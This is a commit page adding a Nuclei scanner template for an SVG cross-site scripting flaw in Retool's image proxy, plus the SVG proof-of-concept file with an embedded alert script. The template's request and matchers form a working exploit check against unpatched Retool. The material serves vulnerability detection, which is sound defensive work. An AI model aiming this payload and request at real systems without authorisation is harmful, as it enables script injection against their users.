Merge pull request #10896 from projectdiscovery/retool-xss

Retool XSS
patch-12
Ritik Chaddha 2024-10-05 13:45:37 +04:00 committed by GitHub
commit 16b6563776
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
2 changed files with 49 additions and 0 deletions

View File

@ -0,0 +1,8 @@
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert('document.domain');
</script>
</svg>

After

Width:  |  Height:  |  Size: 381 B

View File

@ -0,0 +1,41 @@
id: retool-svg-xss
info:
name: Retool < 3.88 - SVG Cross-Site Scripting
author: iamnoooob,iamnoooob,pdresearch
severity: high
description: |
This template checks for SVG Cross-Site Scripting(XSS) vulnerability via the Image Proxy URL parameter in Retool.
reference:
- https://docs.retool.com/releases/edge/3.88#:~:text=Fixed%20an%20SVG%20XSS%20vulnerability%20by%20adding%20a%20CSP.%20(%2349381)
metadata:
verified: true
max-request: 1
fofa-query: body="x-retool"
tags: retool,xss
http:
- raw:
- |
GET /api/imageProxy?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/eb8e32c9393677006c2ea916f2e3010c2bd8e03f/helpers/payloads/retool-xss.svg HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "alert('document.domain');"
- "<?xml version"
- '<script type="text/javascript">'
condition: and
- type: word
part: header
words:
- "Content-Security-Policy: default-src 'none';"
negative: true
- type: status
status:
- 200